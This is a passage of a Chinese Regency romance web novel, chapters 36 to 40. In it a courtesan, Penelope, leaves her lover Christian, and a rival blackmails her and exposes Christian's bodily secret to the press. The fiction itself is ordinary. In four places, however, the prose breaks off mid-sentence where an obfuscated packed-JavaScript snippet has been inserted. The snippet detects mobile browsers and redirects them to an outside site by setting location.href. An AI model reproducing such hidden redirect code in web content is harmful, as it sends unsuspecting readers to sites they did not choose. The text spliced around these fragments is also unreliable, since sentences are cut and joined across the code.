佩内洛普忍不住泪眼朦胧，压低了声音：“我知道我或许不明白，也许是因为我太害怕了，害怕再次深陷其中，害怕失去你。可是，克里斯蒂安，你不能否认我们的差距，我们不可能永远这样下去。” “你这样太自私了，佩内洛普。”克里斯蒂安道，“你怎么能轻易决定一切？我不是一个孩子，不需要你做我的保护者，我想要选择你，且十分坚定。” 佩内洛普的眼泪忍不住涌了出来，她抬起头，试图去看清克里斯蒂安的表情，但她的双眼被泪水糊住了，她什么也没有看到。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494107|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你不会理解，我不能再继续让自己牵绊在这种关系里。”佩内洛普声音颤抖道，“放手吧，克里斯蒂安。” 克里斯蒂安的心像被重重一击，疼痛几乎让他无法呼吸。 他闭上了双眼，在长久的沉默中，他感觉到了那种深深的无力感。他终于明白，所有的坚持和期望，似乎都不过是建立在他们无法克服的现实差距之上。 他缓缓开口：“你把自己看的太轻了，佩内洛普，又把世俗的眼光看得过于沉重。” “但它确实沉重，压得我喘不过气。”佩内洛普轻声道，“我害怕，克里斯，我真的害怕最终这一切还是会让你后悔，而我会一无所有。” 克里斯蒂安的眼神一暗，上前紧紧地抱住她的身躯，仿佛要将她永远留在自己的怀抱中。 然而，她的僵硬与拒绝令他无比痛苦。可即便是如此，他还是无法放开她，无法让这一切就这么彻底结束。 “我已经下定决心了，克里斯蒂安。”佩内洛普声音决绝道，“我们不能再继续这样下去了，我们分开吧。” 克里斯蒂安太了解她了，他可以听得出来，她确实是已经下定了决心，无论他怎么做都再也无法更改。他的心像是被撕裂般的疼痛，他咬紧牙关，最终还是缓缓地松开了她。 “如果这是你想要的。”他苦涩地说，“那就这样吧，再见了，佩内洛普。” 当他努力控制自己转身离开时，佩内洛普感到一阵彻骨的寒冷自身体深处袭来，那种她从未体验过的距离感开始在他们间蔓延。 她的指尖轻轻颤抖，像是在努力抓住什么，可那一切都已经从她的掌心滑落。她的世界突然变得静谧，仿佛所有的声音都远去了，只剩下自己狂乱而痛苦的心跳声。 她明明是做了正确的选择，不是吗？她知道自己该做什么，她不能自私地让克里斯蒂安陷入这段永远不被社会认可的感情里。可为什么，当她终于说出“分开”时，胸口却像被狠狠撕裂一般疼痛不堪？ 她低下头，双手掩住脸颊，泪水无声滑落。她这一生经历过太多的痛苦，所以，她也以为自己可以忍受一切，可是现在，她才发现，原来真正的痛苦，是亲手推开那个自己最爱的人。 门外，克里斯蒂安站在楼梯口，脸色苍白。 他的手指蜷缩着，指甲几乎陷入了掌心，仿佛要用这种疼痛来提醒自己，他还活着，而这一切并不是一场梦。 他以为自己做好了准备，以为无论佩内洛普如何挣扎，他都能让她留下。可她的决绝像是一把锋利的刀，刺穿了他的所有坚持。 他想回头，想推开门，再次告诉她，他不会放手，不管她有多害怕，他都会陪着她走下去。可是—— 她已经说了“分开”。 这两个字像是沉重的铁链，狠狠地束缚住了他的脚步。他站在原地，久久没有动弹，直到马夫上前低声问道：“爵爷，你要离开了吗？” 克里斯蒂安缓缓地闭上眼，压抑住心中的痛楚，默默离开了那栋曾带给他无数温暖的宅邸。 然而，当他跨上马车的那一刻，他知道，他永远也做不到真的放手。 37. Chapter 37 佩内洛普已经在家中窝了一整周了，自从与克里斯蒂安决裂后，她几乎是以泪洗面地度过每一个日夜。房间里永远拉着厚重的帘子，阳光被无情地挡在外面，室内沉浸在一种似乎凝滞了的灰色气氛中。 邀请函一张接一张被送到她手中，从华丽的晚宴到朋友们的小型聚会，甚至连莎拉也亲自写了信来邀她出门。但佩内洛普一个也没有接受。她太害怕，害怕见到克里斯蒂安，害怕在众人好奇、探究、甚至带着恶意的目光中，再次去体会到那种无从逃脱的痛苦。 伦敦这个城市，向来是个喜欢窥探和传谣的地方。交际花跌落、贵族的丑闻、新贵的得意，永远是最受欢迎的话题。佩内洛普甚至不敢打开报纸，每一张印满了字的纸面，在她眼中都仿佛藏着带血的匕首，随时准备狠狠刺进她的胸膛。 想到这里，她叹了口气，正要回绝来自里士满公馆的邀约，可门铃却在这时突然响起。 佩内洛普站了起来，怔怔地看向了窗外，直到管家端着银盘进来。 她拿起名片一看。 尊敬的乔治·圣-约翰先生。 她的神色冷了下来，她怎么可能会想要见到这个人。 “请让他离开，我不——” 她的话还没吩咐完，就看到那个可憎的男人已经是强行闯了进来。 她的心猛地一沉，不由得感到一阵莫名的不安。自从与克里斯蒂安分开之后，她就再也没有见过任何熟悉的面孔，尤其还是圣-约翰这样的男人。 她想起这个家伙曾经对克里斯蒂安关心的人做出的事，她感到一阵恶心，也许他又是怀着这种心思过来的。 “佩内洛普女爵，真是很久不见了。”圣-约翰轻笑着，语气中带着一丝不易察觉的玩味。 佩内洛普强忍着内心的痛苦，冷静地回望着他：“圣-约翰先生，请问有何贵干？” “你知道的，我从不轻易放过机会。”圣-约翰一边走近，一边轻松地笑道，“所以我是来关心你的，我听说了你和朗斯通的事，真是让人惋惜。” 佩内洛普的脸色微微一变。 “那与你无关！” 圣-约翰的笑容加深了：“其实我来，是想提出一个提议。我知道你目前可能觉得孤单，而且，社交圈的压力也不小。如果你希望的话，我可以为你提供帮助，我的女士。” 佩内洛普微微皱眉，嘴唇紧闭。她知道这个人绝不会无缘无故地提出这种提议，心中顿时升起了一股警觉。 她尽量保持冷静，拒绝道：“谢谢，但我并不需要你的帮助。” “哦？”圣-约翰挑了挑眉，似乎有些失望，“佩内洛普女爵，别那么轻易地拒绝，至少想想你之前的那位保护人，你爱他，不是吗？” 佩内洛普的眼神一闪，心头的痛楚不禁再次浮现。她咬紧了牙关，努力让自己保持镇定。 “我怎么可能会爱上自己的顾客呢？” “可你确实爱他，我能看得出来，你看他的眼神就像多蒂曾经看着我一样，他用尽手段使我失去了多蒂，并在之后一直试图针对我，毁掉我，让我倾家荡产，我也会使他失去你，我也要毁掉他，使他倾家荡产。况且，我想你也知道，他并不完美，我可以给你全新的尝试。” 他的话似乎意有所指，但佩内洛普告诉自己，那是不可能的。 “我根本不在乎你怎么想。”佩内洛普道，“我虽然是一名交际花，但我多年以来都拥有不错的名声，我不想被一个声名狼藉的男人污染，所以我必须拒绝你。” “即便各大报纸都会知道他其实是个残次品？天呐，那一定会成为大热门。” 佩内洛普倒吸了一口凉气。 “你在胡说什么？” “是你甩了他，不是么？没有人会相信你真的是为了他考虑，因为大家对交际花就是这样的印象，你应该抓牢他才是，他毕竟又年轻又英俊又富有。而且，他现在还整天买醉，到处跟人起冲突，活脱脱就是一个迷恋上了某个女人的傻小子形象。” 佩内洛普想，即便是在这样的时候，他也不忘刻薄一下他们的年龄差距。 她冷笑道：“那根本就不能代表什么，我可以因为任何理由与他分手。” “可你知道那是真的，他父亲一直说他是个‘残次品’，是‘半个男人’不是吗，还十分担心家族会后继无人，直到完整的侄子终于诞生。” 佩内洛普从没想到他真的知道克里斯蒂安可能会是什么样的情形，顿时只感觉到一阵无力感涌上心头。 “你怎么知道的？” “就是最近，我替一个小伙子还了一点钱，他就什么都和我说了。” “什么小伙子？”佩内洛普问。 “你问得太多了，我的女爵，这是一个秘密。” “所以，你现在是在威胁我吗？” “对，没错。”圣-约翰道，“我就是在威胁你，利用你伟大的爱情威胁你，你不同意，就是与我一起毁掉他，我这辈子最擅长利用丑闻达到自己的目的，就像我还殴打了朗斯通，他那种体面人也不会去状告我，把一切都闹大，只会暗暗思索着该如何报复我。” 佩内洛普的脸白了：“是你打了他？” 她的克里斯蒂安，就是被面前这个人打得奄奄一息，几近残废，而不是几个过路的醉鬼？ “绝对没有假手于人。”他故意撒谎，“可惜我一直都没什么欣赏男人身体的癖好，当时也没想起来可以这么做，不然，我可真要看看他究竟是一个怎样的怪胎。” 佩内洛普感到一股怒火涌上心头，几乎想冲上去一刀杀了他，但很可惜，她知道她无能为力，对于任何事情都是。 她不能用如此冲动的行为激怒他。 他得意洋洋地走到了她的身边，道：“我想，我们已经达成共识了？我会很高兴看到朗斯通脸上的表情的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504129|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩内洛普没有反驳。 她知道圣-约翰从不是个简单的敌人，他不仅在个人上有着不小的影响力，更有着足够的手段将别人拉下深渊。而此刻，他便正意图以她为利剑，去伤透克里斯蒂安的心。 可是她别无选择，只能两害相权取其轻。她必须保护克里斯蒂安的秘密，不让他去受到任何有关于它的伤害。 因为他曾经受过的伤害已经太多太多了，她真的很心疼他。 圣-约翰的嘴角微微上扬，眼中闪过了一丝胜利的光芒：“佩内洛普女爵，真是一个聪明的女人。我知道你会做出理智的选择。” 说到这里，他停顿了一下，似乎是想再说些什么，但他看着面前美丽动人的女人，又懒得说那么多了。 “作为我的新任情妇，我们用一个吻巩固我们的交易怎么样？” 话音未落，他便搂住了佩内洛普，将她拉向自己，粗暴地在她的唇上印下一记重吻。那一吻，没有半点温柔，只有彻底的占有与羞辱，既是一种挑衅，也是一种无声的宣示。 他熟练而霸道的动作令佩内洛普顿时感到无比窒息，心中也涌起无数疑问与恐惧——她能否承受这一切？她真的愿意成为他的工具吗？ 好不容易一吻结束，圣-约翰慢慢地松开了极力挣扎的她，也忍不住暗想，这个女人虽然比他的多蒂差得老远，却也确实有几分媚骨，难怪这么大年纪了，还能把朗斯通给迷惑成那样。 而现在，这个女人是他的了。 想到这里，他又笑了：“我会非常享受身边有你的陪伴的，亲爱的佩内洛普女爵。” 他的眼神充满了狡黠与胜利，他似乎已经确信，自己已经在这场交易中占尽了上风。而佩内洛普，在那一刻，心中的疼痛和屈辱交织在一起，她知道，从今以后，她将不得不生活在这场阴谋和背叛的夹缝之中。 就在圣‐约翰转身离去后，佩内洛普靠在墙边，泪水无声流淌。她的思绪混乱，她深爱克里斯蒂安，可圣‐约翰的出现却让她再次陷入了无尽的恐惧。 她不由自主地想起了过去那些美好的日子，想起了克里斯蒂安温柔的眼神和他那坚定不移的誓言。 “克里斯蒂安，我的克里斯蒂安，我怎么会让这一切发生……”她低声呢喃，声音中满是悔恨与无奈。 她曾经那么努力地保护着克里斯蒂安的自尊心，她希望他可以相信自己的魅力，可如今，圣‐约翰不仅用他的阴谋伤害了他，还用那令人发指的手段威胁她。她心中涌起一种撕心裂肺的感觉——如果克里斯蒂安知道了这一切，如果他知道圣‐约翰竟敢用他的秘密威胁她…… 她咬紧牙关，努力地抑制住内心的崩溃，强迫自己冷静下来：“我必须想办法……必须阻止这一切。” 佩内洛普擦干眼泪，站起身来，决心用尽全力保护自己，也保护克里斯蒂安。她知道，接下来的路不会平坦，但她绝不能让圣‐约翰得逞。 38. Chapter 38 看到佩内洛普与圣-约翰出现在一起，克里斯蒂安简直快要被气疯了。 他试图去从她脸上看出一些被迫的痕迹，但是她没有，她在那个他这辈子最厌恶的混蛋身边，笑得很开心。 他明明告诉过她，圣-约翰是什么人，她怎么可以考虑跟圣-约翰在一起呢？ 也许她确实是被胁迫的，她只是在表演开心，是的，她真正开心时不会是这样的。 他这么想着，直接走了上去。 “佩内洛普。”他喊道。 佩内洛普转过身，脸上带着她那一贯的优雅微笑，可当她真正看到克里斯蒂安的脸的时候，那微笑还是不禁黯淡了几分。为了被避免看出端倪，她低下了头，目光闪烁，躲开了克里斯蒂安那满含怒气的目光。 “克里斯蒂安。”佩内洛普努力做到了声音平静，“好久不见。” “你怎么和他在一起？”克里斯蒂安几乎是从牙缝里挤出这句话，他努力让自己保持冷静，但心中的怒火几乎要吞噬他。 佩内洛普感到一阵窒息的压迫，她知道她不能继续装作若无其事，她叹了口气，深深吸了一口气，才鼓起勇气抬头看向他。 “克里斯蒂安。”她轻轻开口，“你不明白的。” “我不明白？”克里斯蒂安几乎失去了理智，“你和圣-约翰在一起，我怎么不明白？你告诉我，你为什么和他站在一起？你知道他是什么人！他是不是威胁你了？” 他的话语越来越急，语气也越来越激烈，手几乎忍不住要伸向她。 然而，圣-约翰阻止了他。 “我知道，你可能仍旧陷在旧日的时光里根本走不出来，但她现在是我的，请搞清楚这一点。” “你是怎么逼迫她的？”克里斯蒂安质问道。 “逼迫？” 就像是听到了什么天大的笑话一般，圣-约翰道：“你可以问她，我有没有逼迫她，她可是非常高兴地告诉我，她总算能欢迎一个真正的男人上她的床了。” 这句话同时刺痛了克里斯蒂安与佩内洛普两个人的心，但佩内洛普告诉自己，不要做出任何反应，就这么让它过去就好了。 克里斯蒂安震惊地看着佩内洛普冷漠的样子：“你真的是这么告诉他的？” 不是，她永远也不会说出这种话来！佩内洛普的心在如此疯狂地呐喊。 但沉默片刻后，她还是冷冷开口道：“克里斯蒂安，我必须告诉你，我的选择与你无关。” 这一句话如同一记重锤，狠狠地击中了克里斯蒂安的心。他看着佩内洛普的脸，眼中满是难以置信和困惑。她的眼神冰冷，没有丝毫波动，仿佛她已经不再是那个他深爱的女人。 “佩内洛普，你不是这种人的。”他声音沙哑，带着一丝不敢相信的痛苦，“你不可能会真心愿意站在他的身边，看着我痛苦不堪，你不可能会想要如此折磨我的心。” 可佩内洛普的眼神没有动摇。 她告诉自己，她在避免更大的伤害。 克里斯蒂安的脸色瞬间苍白，心中的痛苦如潮水一般涌来。他无法理解，也无法接受，他的佩内洛普真的选择了圣-约翰，他今生唯一深爱的女人，竟然成为了那个他最讨厌的男人的情妇，她怎可如此自甘堕落。 “你为了什么选择他？”克里斯蒂安几乎是哑声问道，声音带着不可抑制的颤抖，“真的是他说的那样？告诉我，只要你开口，我就相信。” 可是她怎么可能说得出来那种话呢？ “没有什么理由。”她终于冷静地说，“克里斯蒂安，我的生活已不再是你能左右的事情，你必须接受这个事实。” “没有什么理由。”克里斯蒂安冷笑着重复道，“你真的就这么无动于衷吗？那我可真是看错你了，大错特错。” 佩内洛普低下头，长长的睫毛遮住了她眼中的泪光。 “克里斯蒂安，放手吧。”佩内洛普的声音低得几乎听不见，“我知道你无法理解，但我已经做出了决定。” 圣-约翰一直站在一旁得意地冷笑着，很长时间里都没有再插什么嘴，但显然，他太喜欢这出戏了。他完全不在乎佩内洛普与克里斯蒂安之间那份深沉的纠葛，他只关心自己是否能够得到这个女人，然后狠狠羞辱地克里斯蒂安。 现在，这出戏该有个完美的收尾了。 “别再胡搅蛮缠了。”圣-约翰道，“她和我说了，她对半个男人不感兴趣，怪胎的身体，她看一眼就想呕吐。” 克里斯蒂安愣住了。 她……她告诉了圣-约翰？在他好不容易才彻底相信了她之后，她就这么彻底地辜负了他的信任？ 佩内洛普，你怎么可以如此狠心？ 他的心瞬间凉透了。 圣-约翰的脸上挂着一抹狡黠的笑意，他似乎已经预料到了克里斯蒂安的反应。站在佩内洛普身旁，他冷冷地看着克里斯蒂安，眼中闪烁着一丝不怀好意的光芒。 “朗斯通。”他挑挑眉，语气里透着一丝挑衅，“你不如考虑给我一点什么，换取我永远不会公开你的秘密。” 克里斯蒂安冷冷看向圣-约翰：“怎么了？你想跟我要钱？是你的投资出问题了吗？” 圣-约翰的脸上有怒火短暂闪过，但马上又恢复如初了，他轻轻地耸耸肩，道：“你知道的，我不是个容易被钱收买的人，除非，是相当大的一笔钱。当然，如果你没有，别的什么也行，我想你知道我指的是什么。” “你想也别想去知道她的行踪，至于我的钱，也不是你能随意染指的。” 圣-约翰听到克里斯蒂安的回答，脸上的笑意反而加深几分，他缓缓走近，目光带着一种说不出的玩味和讥讽。 “哦？你倒是挺有骨气。”圣-约翰嗤笑着，语气带着一丝玩弄般的轻蔑，“可惜，你的骨气可没有什么用处。” 克里斯蒂安的手缓缓握紧，他依然在看着佩内洛普，而她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508098|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也依旧低垂着眼眸，甚至没有表现出哪怕一丝的不安和挣扎。她就像是一尊冷漠的雕塑，仿佛他的痛苦与愤怒，根本无法触及她。 他强迫自己不去表现出分毫的脆弱，深吸一口气，目光再次冷冷地落在了圣-约翰的身上。 “你觉得自己胜券在握了？” “当然。”圣-约翰笑得愈发得意起来，并轻抚身边佩内洛普的脸颊，“毕竟，你最珍视的东西都已经在我手中了，而你根本无可奈何。” 佩内洛普的身体微微一僵，但依旧没有反抗圣-约翰的亲密行为。 克里斯蒂安拒绝继续为她感到愤怒，只是冷冷道：“你说错了，我与她早就已经分手了，你可以相信我绝不会妨碍她的生意。” 闻言，佩内洛普的睫毛不禁颤了颤，但她马上就恢复了那副事不关己的表情，仿佛不管克里斯蒂安说什么对她而言已经无关紧要。她知道，只要她露出一丝破绽，克里斯蒂安就会察觉到真相，而她不能让那发生。 圣-约翰倒乐见情人反目，道：“继续进行这些失败者的狂吠吧，我爱听，我想我的情妇也爱听。反正你失败的日子还多着呢，当整个伦敦都知道你是个天生的残次品时，你就再也无法自以为是了。” 克里斯蒂安冷笑起来：“你说得好像大家都会相信你，而我又真的会在乎别人的看法一样。” 闻言，圣-约翰也不禁笑了：“我们都知道你究竟有多在乎名誉，朗斯通，你以为你能瞒得住我吗？” “看起来，你对我有错误的印象。”克里斯蒂安以一种破罐子破摔的心情道。 他知道，如果只是圣-约翰一个人在那说，可能没什么人相信，但圣-约翰的新情妇是佩内洛普，有佩内洛普在，那一切可就说不准了。 人人都会相信那是事实。 他一想到她的背叛就心痛。他悄悄地将她当作女神一般地爱了十年，不是十天、十个月，而她分明是知道这一点的。 付钱给圣-约翰是没用的，他想，就像他明明都付出一整颗真心了都没用，他这辈子最爱的女人将他的心接了过去，笑着，狠狠踩成了一摊烂泥…… “我不在乎你会散播什么谣言，毕竟谁会在乎一个交际花与一个流氓的话？” 说出这句话后，克里斯蒂安甚至不敢看一看佩内洛普的表情，他不明白为何到了这个地步他还是这么在乎她，这么不忍心伤害她分毫。 “你可以继续骄傲，但也许你该问问自己，朗斯通，你究竟能承受多少？”圣-约翰嘲讽地回道，语气中充满了对克里斯蒂安的蔑视。 他转身拉起佩内洛普的手，几乎没有回头，一副胜券在握的样子。 克里斯蒂安看着他们离去的背影，意识到自己在社交界的生活大约要永远结束了，但他也很高兴自己将再也不必苦苦守护这个可悲的秘密。 做个怪胎又如何呢？他摸着自己在体内碎裂成渣的心，忍不住想，他从此自由了，不是吗？ 39. Chapter 39 佩内洛普几乎整夜没睡。 圣-约翰那可怕的威胁让她无处可逃，她试图在爱与自尊之间找到平衡，但无论如何努力，她始终只觉得自己陷入了深不见底的黑暗中。日子在一天天走着，可痛苦却仍旧停在原地，一动不动。 她想着那两个男人之间的纠葛，叹了一口气，随意地梳理着自己的头发，脸上不施粉黛，依旧是那副她早已习惯的冷淡面容，镜中的她看起来十分疲惫，仿佛再也找不到一丝光彩。 然后，管家里德带着报纸走了进来，脸色看起来很是不安。 佩内洛普注意到他的神色有些不对，不禁问：“怎么了，里德？” “我想，阅读今天的晨报可能不是什么好的选择。”管家里德道。 佩内洛普意识到了什么，心中涌起了一股不祥的预感。她几乎没有任何犹豫，猛地抄起了报纸。 果然，克里斯蒂安的秘密被揭露了。 她之前明明都已经那么努力地尝试着去说服圣-约翰，让他暂且按兵不动，徐徐图之，并忍受他一直对她动手动脚，结果他竟然还是这么没耐心，在那次威胁克里斯蒂安没有成功后，直接就将那件事情爆出来了？ 她快速扫过文字，他甚至是借了她的名义将这些事情公之于众，报纸上说是P女爵提供的可靠消息。 她曾经是克里斯蒂安的情人，既然是她说的，在许多人眼里那就一定是真的。 她的手微微地颤抖着，握紧了报纸。她在心中默默祈祷，希望这一切只是梦境，自己可以从中醒来。但是，她清楚地知道，这一切都是真实的，克里斯蒂安的秘密和她自己无能为力的痛苦已经被迫暴露于人前。 这个人渣！ 克里斯蒂安会怎么想？ 她真希望他可以怒不可遏地过来狠狠骂她一顿，至少让她可以分辩两句，尽管她完全就是自己愚蠢，她怎么就这么轻信了一个百分百的小人呢。 克里斯蒂安…… 她正伤心地想着这个名字，门铃声忽然响起，她整个人都僵住了。 之后，她看到了莎拉及里士满男爵。 莎拉一看到她的脸就惊叫道：“天呐，你是一周都没有睡觉了吗？你的黑眼圈简直都没法看了。” “没有那么夸张。”她恹恹地说。 “你到底是怎么了？”莎拉质问道，“我听说你最近和圣-约翰出现在了一起。天呐，在莱顿之后，你竟然又看上了一个二流货色？他压根连克里斯蒂安一根指头都比不上。” 里士满男爵闻言，在一旁扬了扬眉，略带惊讶地重复着这个称呼：“克里斯蒂安？” 莎拉心虚地转过头，笑着看向自己的老丈夫：“我毕竟是佩妮最好的朋友，不是吗？哦，亲爱的，我怎么发现你最近嫉妒心越来越重了，这很不好，你怎么能想象除了你，我还会看其他人呢？” “是吗？可我一直都觉得你与罗伯特·马洛勋爵是不是过于亲密了？” “罗伯特·马洛？”莎拉夸张地惊呼道，“你居然拿那种货色跟你相提并论？他总是追着我跑，太烦人了，事实上，他唯一的作用就是让我确信我仍然可以吸引你，你不会为了其他迷人的女士离开我。因为我得到了你，你都不知道多少心怀怨恨的女人来挑衅过，我总是担心我会让你感到厌烦，然后你又会像过去一样，偷偷跑去圣约翰森林之类的地方，见你的旧情人们。” 里士满男爵有一瞬间看起来很内疚。 他慢慢开口道：“自从我和你结婚后，我几乎都没认真看过哪位女士的脸。” “这正是我想要相信的。”莎拉答道，“但有时因为你太有魅力，当然也很富有，我害怕失去你。” 于是，里士满男爵又重新变回了那个快乐的老头，忘记了所有的不愉快。 这是佩内洛普最佩服莎拉的地方，她是真的能平衡好家里与外面的关系。 可惜现在并不是她学习应该如何哄丈夫的时候。 莎拉也很快又把心思放回了她身上。 “你得告诉我，你怎么会选择圣-约翰那种男人？” 佩内洛普道：“我一点也不喜欢他，但我不得已而为之。” “他威胁你了？他拿什么威胁你了？” 佩内洛普不答反问：“我想，你们正是看了晨报才过来的？” 莎拉默认了。 “你爱克里斯，是不是？”莎拉问。 佩内洛普犹豫片刻，还是点了点头：“就像当年爱上马修那样不顾一切。” 莎拉道：“你一辈子都在为你的马修遗憾，可是现在，另一个让你如此深爱的男人活生生的，就在伦敦，如果你不去挽回，你将再次遗憾。” 佩内洛普摇了摇头：“我三十六岁了，早已不适合谈论爱情了，就让他一直误解下去也好，我已经想好了，我要把这套房子租出去，然后搬到乡下。” 莎拉倒吸了一口凉气：“不，我想你还不至于此，而你也不会想做个过时的乡下女人的。” “我已经决定了，莎拉，他会很快忘记我的，他毕竟还那么年轻。” 可是莎拉的眼神却变得更加坚定了：“你错了，他永远不可能会忘记你的。年龄从来不是爱情的障碍，真正的障碍是你对你自己的不信任，因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515402|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你爱过的所有男人都离开了你，你觉得自己是被上帝抛弃的孩子，你注定得不到幸福，所以，你才要逃避这份爱。” 佩内洛普的心像被重重地击了一下，莎拉的话犹如一根刺，扎进了她的内心深处。但她强迫自己低下了头，不再让情绪控制她。 她已经做出了决定，所有的挣扎和痛苦都已经无关紧要了。 “我已经做出了选择，莎拉。我不想再继续在这段关系里折磨自己下去了，也不想继续给他带来任何的伤害。” 莎拉沉默了一会儿，然后叹了口气：“好吧，如果这是你真的想要的。但你必须知道，你和克里斯蒂安的故事还没有结束，这是我身为女人的直觉。” 闻言，佩内洛普微微一笑，眼神中带着一丝固执。 “它已经彻底地结束了。”佩内洛普低声道，仿佛是在说服莎拉，却更像是在说服自己。 莎拉叹了口气，摇了摇头，但她了解佩内洛普，当她决定什么事情时，很难改变主意。 于是莎拉也只能不再说什么。 里士满男爵见气氛变得有些沉重了，在一旁轻咳了一声，便笑道：“你说你要搬到乡下？天呐，我和莎拉可不愿意看着你就这么在田野间自怨自艾。你打算去哪儿？请尽量离伦敦近一点吧。” 佩内洛普摇头：“我还没有具体的打算呢，不过我倒是想尽可能远离伦敦。” 莎拉挑眉，还是忍不住问：“是远离伦敦吗？还是远离克里斯蒂安？” 佩内洛普没有回答，只是垂下眼帘，沉默地摩挲着手中的戒指。 莎拉张了张嘴，似乎还想再说什么，却被里士满男爵按住了手。 年长的男爵缓缓说道：“佩内洛普，你该听听莎拉的话，不该总是轻易做决定，或许你现在觉得自己非常理智，但我作为一个老人，我必须提醒你，理智并不总是正确的。有些事情，错过了就再也回不了头。” 闻言，佩内洛普的手微微一颤，却没有回答。 莎拉长叹了一口气，最终站起身来：“就像我刚刚说的一样，不管你想怎样都行，我永远会站在你身边支持你，毕竟谁让你是我十几年的朋友呢。” “谢谢。”佩内洛普低声道。 之后，他们又闲聊了一会儿，里士满夫妻便离开了。 佩内洛普刚将他们送走，没过多久，便听见门外再次传来了一阵十分急促的门铃声。 佩内洛普的心再度猛地一紧，眼中闪过一丝不安。 然而，当门被打开的瞬间，她惊愕地看到了一张令她极其意外的面孔。 年轻的米娜·威尔莫特。 40. Chapter 40 “就现在，威尔莫特小姐，告诉我你究竟打算做什么？” 佩内洛普语气淡然，却不容置疑地望着站在她面前年轻美丽的女孩。 她无论如何也无法相信，一位出身体面懂得自爱的小姐，会突然造访一位声名显赫的交际花家中，只是为了认亲戚、叙旧情。 米娜闻言，猛地抬起头，美丽的眼睛里闪过一丝慌乱，但她很快掩饰住，勉强一笑：“我不太明白你的意思，佩内洛普表亲。” “亲爱的，你完全是个糟糕的骗子。”佩内洛普微微一笑，这是这些天来，她唯一能露出的轻松表情。 她向前一步，语气缓和了一些：“告诉我，威尔莫特小姐，有什么不对劲的吗？” “请叫我米内特，求你了。” 佩内洛普无奈：“好吧，米内特。” 女孩哽咽着说：“哦，佩内洛普表亲，这是最可怕、最可怕的事情。” “告诉我怎么了？这样我才能想办法，你惹上什么麻烦了，关于男人的吗？” 说完，佩内洛普在心中祈祷，千万不要是怀孕，千万不要是怀孕，堕胎能要了一个女孩半条命，而更可怕的是她还有可能会希望受到庇护生下来。 米娜简单道：“我爱上了一个男人。” 佩内洛普几乎笑出声来，天真无邪的女孩啊，她紧张了半天，竟是这样一个答案。 “我想这是好事啊，除非对方已婚，怎么了，你家里不同意吗？” 米娜点了点头：“他们希望我嫁给兰斯顿公爵。” 佩内洛普回忆了一下这个人是谁。 “我以为他都快入土了。” 居然还想娶一个十九岁的小姑娘。 尤其，这家伙可以说是丑闻缠身。她曾经听说，兰斯顿公爵已经结过两次婚，并成功送走了两任妻子。有传言说，她们都是死于虐待。然而他很聪明，犯罪行为实施得非常巧妙，他的头衔与他的巨额财富也保护了他…… 她的表亲怎么可以如此残忍呢？ “他出了很多钱要娶我。”米娜抽泣着说，“但好在我还有亚瑟……” 佩内洛普一想到这个女孩将要被卖给了一个色鬼和恶棍，她的头还在转。 “谁又是亚瑟？” “亚瑟·弗莱彻，他是一位富有子爵的继承人，也想娶我，我知道我们在一起一定会很幸福的。” 米娜露出一抹希冀的微笑，仿佛紧紧抓住了救命稻草。 佩内洛普却皱起了眉头，这个名字让她有种隐约的不安感。 而可怜的女孩还在继续说着。 “他们嫌他还只是继承人，而不是一位真正的子爵，而兰斯顿公爵是一位真正的公爵，我马上就是公爵夫人了。” 佩内洛普默默递过去一块手帕。 “别哭了，孩子，一切都会变好的。” 米娜接了过来，擤了鼻涕，道：“那怎么可能，我一想到兰斯顿公爵看我的眼神就想吐，我宁愿直接自杀。” 佩内洛普太清楚米娜的年龄了，她正充满了浪漫的幻想，而佩内洛普一点也不希望她的幻想最终只能破碎在一个老年人的床上。 “你来找我，想必是有计划了，你希望我怎么帮你？” 